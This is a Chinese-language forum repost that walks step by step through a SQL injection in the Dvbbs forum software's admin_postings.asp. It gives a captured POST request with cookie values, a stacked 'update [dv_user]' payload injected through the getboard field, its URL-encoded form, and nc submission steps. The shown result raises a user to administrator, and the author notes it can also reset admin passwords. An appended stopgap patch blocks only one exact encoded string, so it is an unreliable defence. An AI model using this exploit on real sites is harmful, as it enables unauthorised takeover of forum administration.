資訊來源:冰點論壇
首先找一個沒有固頂文章的版面,自己找找去。一個
論壇
總不可能哪個版塊都有固頂吧?點進去看看有沒有固定文章什麼的,我是自己架
設的平台做測試的。當然要"符合"漏洞條件了。以前台管理員的身份登陸,也
不一定要用前台管理員進去,一個斑竹就行,能固頂文章就行了,然後隨便發個
文章。然後點下設定固頂
按正常的方式固頂,
到這裡我們先暫停,開啟WSE抓包工具準備抓取提交的post資訊,開啟了之後點下
確認操作。現在看看WSE抓到些什麼東西了,
截取到了post提交資訊,複製下來,內容如下:
POST /sql/admin_postings.asp?action=istop HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, */*
Referer:
http://192.168.1.254/sql/admin_postings.asp?action=istop
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2;
TencentTraveler ; .NET CLR 1.1.4322)
Host: 192.168.1.254
Content-Length: 133
Connection: Keep-Alive
Cache-Control: no-cache
Cookie:
192%2E168%2E1%2E254%2Fsql%2F=UserID=1&usercookies=0&password=9pb621664s
5w7IL7&userhidden=2&userclass=%B9%DC%C0%ED%D4%B1&username=admin&StatUse
rID=1929167667; ASPSESSIONIDCATQTATT=JJGHMOMDLJJAAFHAGMLGOMIL;
ASPSESSIONIDACTTRATS=NMLHLBBAPMOIEGAIBMBFOIMH; Dvbbs=; upNum=0
istopaction=1&boardID=1&ID=1&title=&content=a&doWealth=0&dousercp=0&dou
serep=0&msg=&ismsg=&getboard=1&submit=%C8%B7%C8%CF%B2%D9%D7%F7
現在我們做什麼呢?把getboard改成1,1);update [dv_user] set usergroupid=1
where userid=2;-- 不過我們得先轉下unicode編碼,用encoder.exe轉一下,轉
換結果如下%31%2C%31%29%3B%75%70%64%61%74%65%20%5B%64%76%5F%75%73%65%72%
5D%20%73%65%74%20%75%73%65%72%67%72%6F%75%70%69%64%3D%31%20%77%68%65%72
%65%20%75%73%65%72%69%64%3D%32%3B%2D%2D%20
把那個getboard=1把這個1換為注射語句就行了。這條語句的意思是將userid值為
2的使用者提到Administrator 群組,不過只是前台管理員哦。然後算一下增加了多少個字元修
改下Content-Length的值,我也懶得去數就改成250吧。修改完之後就用NC提交,
.
意思是將a.txt的內容用nc提交上去然後將返回的資訊儲存在1.htm裡面.
接著開啟我們輸出的1.htm看看,
語法錯誤?知道是為什麼嗎?前面我說過了,Content-Length的長度我沒數,語
句只執行到1,1);update [dv_user] set usergroupid=1 where user這裡,語句
都沒執行完,能正確嗎?不過不要緊,我們把長度多加幾個數就改成278吧然後再
次提交,然後查看1.htm的輸出結果,
看到沒有?操作成功。成功執行了我們的注入語句。我們看看userid=2的使用者是
否成為管理員了,userid=2對應的使用者名稱是:619054,為了省事,我就直接在後台
查看下這個使用者的許可權是否為管理員了,
呵呵,真的提升為管理員了,這個漏洞不光可以將使用者從普通許可權提升為管
理員,而且還可以直接更改後台管理員的密碼,這夠嚴重的吧?動網官方
論壇
到現在都還沒出補丁。真夠鬱悶的
-----------------------------------------------------------------------------------------------------------
以下為yezhan臨時製作的屏蔽這一漏洞的補丁,已寫在我的站上(http://532100.com)
因為官方還沒出補丁
問題的嚴重性不需要我來說了吧
我先寫個簡單點的屏蔽補丁
在頁子的處理提交的getboard的時候加一段代碼
Code:
if instr(""&request.form("getboard")&"","%75%70%64%61%74%65%20%5B%64%76%5F%75%73%65%72%5D%20%73%65%74%20%75%73%65%72%67%72%6F%75%70%69%64%3D") > 0 then<br />response.write "請勿利用最新漏洞對本站進行注入攻擊."<br />response.end</p><p>else</p><p>原來的代碼</p><p>
[Ctrl+A Select All]
最後在檔案的最後面加上
"end if"
上面的是我的思路
也可以直接用我
修改過的admin_postings.asp替換原來的檔案,即可屏蔽這一漏洞